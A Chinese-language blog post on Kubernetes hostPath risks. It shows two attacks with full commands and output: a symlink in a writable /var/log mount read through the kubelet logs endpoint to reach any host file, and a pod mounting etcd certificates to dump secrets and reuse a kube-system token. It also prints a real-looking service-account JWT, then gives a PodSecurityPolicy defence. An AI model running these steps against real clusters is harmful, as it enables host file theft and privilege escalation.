简介 挂载一个hostPath的volumes的时候,需要设置挂载方式为read only, 不然存在安全风险。
1 2 3 4 5 6 7 8 9 10 11 12 volumes: - name: test-volume hostPath: path: /data type: Directory 这时定义hostpath的volume,定义的时候没有readonly选项。 volumeMounts: - name: test-volume mountPath: /test-volume readOnly: true
在官方文档中有这么一段话
1 2 3 4 5 https://kubernetes.io/docs/concepts/storage/volumes/#hostpath Warning: HostPath volumes present many security risks, and it is a best practice to avoid the use of HostPaths when possible. When a HostPath volume must be used, it should be scoped to only the required file or directory, and mounted as ReadOnly.
简单讲就是在强调你在挂载hostpath的volume的时候必须设置readOnly,且必须约束可以挂载的目录。
设置readOnly是因为,已经证明存在一些方法来绕过约束。比如我配置了hostPath不能访问A目录,但是我可以通过挂载B目录间接访问A目录;或者我配置了hostPath只能访问A目录,但是我可以通过A目录,间接访问到B目录。是不是很神奇。
下面演示两个例子,来说明不设置readOnly和不约束可挂载目录所带来的隐患。
主机文件泄露 这个例子通过挂载一个特定的可写目录,来实现读取系统任何文件的目的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 # 首先创建一个pod挂载系统的/var/log目录 apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: run: busy name: busy spec: containers: - image: busybox name: busy resources: {} args: - sh - -c - "sleep 1d" volumeMounts: - name: varlog mountPath: /var/log # readOnly: true dnsPolicy: ClusterFirst restartPolicy: Always volumes: - name: varlog hostPath: path: /var/log type: Directory status: {} ~$ kl apply -f busy.yaml --force pod/busy created
然后我们进到pod中查看该目录
1 2 3 4 ~$ kl exec busy -it -- sh / # cd /var/log /var/log # ls ...
显然我们是可以看到这个目录下的所有文件的,但是这个时候如果告诉你/var/log目录目前可写,然后希望借助这个目录读取到系统中的任何文件,然后你能想到方案吗,我想不是专业安全人员是不能想到这个方法的。
这个方法就是通过建立软连接:
1 2 3 4 /var/log # ln -s /etc/passwd passwd.log /var/log # cat passwd.log ......
我们尝试读passwd但是显然读到的是容器内的passwd,我们想要读到的是主机上的passwd。那怎么办呢?
关键的时候到了,我们先给当前用户配置一个读log的权限:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 # 给当前sa配置日志相关的权限 apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: getlog rules: - apiGroups: - "" resources: - nodes/log verbs: - get --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: creationTimestamp: null name: getlog roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: getlog subjects: - kind: ServiceAccount name: default namespace: default # 经过测试用rolebinding不行,得用clusterrolebinding ~$ kl apply -f roleset.yaml clusterrole.rbac.authorization.k8s.io/getlog configured clusterrolebinding.rbac.authorization.k8s.io/getlog configured
然后通过curl发起连接:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # 拿到sa的TOKEN ~$ kl get secret NAME TYPE DATA AGE ... default-token-5kd6c kubernetes.io/service-account-token 3 18d ... ~$ TOKEN=$(kl get secret -n default default-token-5kd6c -o jsonpath='{.data.token}' | base64 -d) # 拿到pod所在主机ip ~$ HOST=$(kl get pod busy -o jsonpath='{.status.hostIP}') # 读取日志,指定passwd.log,我们刚才在容器中创建的软连接 ~$ curl -k https://$HOST:10250/logs/passwd.log --header "Authorization: Bearer $TOKEN" ......
神奇的事情发生了,我们读取到了主机中的文件。原理是当我们通过curl访问kubelet时,kubelet会去读取容器中创建的软连接,并解析到主机上的文件中去,从而导致主机的文件内容泄露。
我们还可以更进一步,直接在pod内就可以去读主机的文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 # 先进到pod中 ~$ kl exec busy -it -- sh / # # 然后创建脚本 / # vi readfile.sh ln -s -f / /var/log/hostroot HOST=$(route | grep default | awk -F' ' '{print $2}') TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) wget -qO- --header "Authorization: Bearer $TOKEN" https://$HOST:10250/logs/hostroot$1 # 然后就可以读文件以及列目录了 / # sh readfile.sh /etc/passwd wget: note: TLS certificate validation not implemented root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...... / # sh readfile.sh /tmp/ wget: note: TLS certificate validation not implemented <pre> <a href=".ICE-unix/">.ICE-unix/</a> <a href=".Test-unix/">.Test-unix/</a> ......
集群数据泄露 再来看另一种利用方法, 这种方法是用hostPath挂载/etc/kubernetes/pki/etcd,然后连接etcd读取数据。
etcd中存了集群的所有数据,所以能读到token,从而导致低权限用户权限提升,带来隐患。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 # 这里需要hostPath和hostNetwork:true和nodeName:server1配合使用 ~$ vi etcdctl.yaml apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: run: etcdctl name: etcdctl spec: containers: - image: anonoz/etcdctl-arm64 name: etcdctl command: - sleep - 1d env: - name: ETCDCTL_API value: "3" resources: {} volumeMounts: - mountPath: /etc/kubernetes/pki/etcd name: etcd-certs nodeName: server1 dnsPolicy: ClusterFirst restartPolicy: Always hostNetwork: true volumes: - name: etcd-certs hostPath: path: /etc/kubernetes/pki/etcd type: Directory status: {} ~$ kl apply -f etcdctl.yaml
随后连到pod中读取secret数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ~$ kl exec etcdctl -it -- sh / # etcdctl --endpoints 127.0.0.1:2379 --cert=/etc/kubernetes/pki/etcd/server.crt --key=/etc/kubernetes/pki/etcd/server.key --cacert=/etc /kubernetes/pki/etcd/ca.crt get '' --from-key --keys-only | grep secret ... /registry/secrets/kube-system/job-controller-token-klrfg /registry/secrets/kube-system/kube-proxy-token-md447 /registry/secrets/kube-system/metrics-server-token-vmnrm /registry/secrets/kube-system/namespace-controller-token-nmvqq /registry/secrets/kube-system/node-controller-token-6rlxz ... # 我们随便拿一个secret中的token值来用 # 这个命令会返回一段格式有点乱的内容,但是能清晰的分辨出token的内容。 / # etcdctl --endpoints 127.0.0.1:2379 --cert=/etc/kubernetes/pki/etcd/server.crt --key=/etc/kubernetes/pki/etcd/server.key --cacert=/etc /kubernetes/pki/etcd/ca.crt get /registry/secrets/kube-system/node-controller-token-6rlxz ... token?eyJhbGciOiJSUzI1NiIsImtpZCI6InpXaFVvaWdSU19Pbmo5dnUtOGFTWVQ1bjIzYkptWmFpX2Q1VFBuT2EtZTAifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJub2RlLWNvbnRyb2xsZXItdG9rZW4tNnJseHoiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoibm9kZS1jb250cm9sbGVyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiNDU4MDljM2QtNTNiNS00ZWI5LTk1MTAtNjExOGZmZjY4ZDk0Iiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOm5vZGUtY29udHJvbGxlciJ9.N8QgQCjv22oE22ct--ib-2A74GaLPkQ6ka1xDysphhljeItSSat1gQRtBawgoF-vuj1a55pdLLPDva9L7sQzG-EaFVUaFBenDeJgOF-vM1LzIqAEmIw4K4IlHKPQNRXi678cJ7mR-R-Iufj9dpOl5zKMS7p_4RydXr8EhfaxgBwqYJkOdQNWIcfPhYM1xiVIplIFKs61Vf0sU1NnSeXJy3WTUqimn_i-d_E5TUMp9_hlIn6iHR4U5UwkGboxFBtfhc0KDn24ShbshpTaM6d6LKJQzrTwTmBwMK2pw0rEfJTKK_Q-3xHlEfF3bj2rcOtrQNylOAVtvggX_elqwXlelQ#kubernetes.io/service-account-token" # 离开pod # 设置token到kubeconfig中并查看这个token的全部权限 ~$ kl config set-credentials tokenfrometcd --token xxx User "tokenfrometcd" set. ~$ kl config set-context tokenfrometcd --cluster kubernetes --user tokenfrometcd Context "tokenfrometcd" created. ~$ kl --context=tokenfrometcd auth can-i --list Resources Non-Resource URLs Resource Names Verbs events [] [] [create patch update] events.events.k8s.io [] [] [create patch update] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] ......
其他方法 其他方法还有,这个视频演示了其中的两种:
1 https://www.youtube.com/watch?v=HmoVSmTIOxM
这个repo列了系统的一些可以利用的敏感数据:
1 https://github.com/BishopFox/badPods/tree/main/manifests/hostpath
防御方法 防御的方法是在psp中添加约束:
1 2 3 4 5 https://kubernetes.io/docs/concepts/policy/pod-security-policy/#volumes-and-file-systems allowedHostPaths: - pathPrefix: "/foo" readOnly: true # only allow read-only mounts
参考 Volumes and file systems The Path Less Traveled: Abusing Kubernetes Defaults hostPath Bad Pod #4: Unrestricted hostPath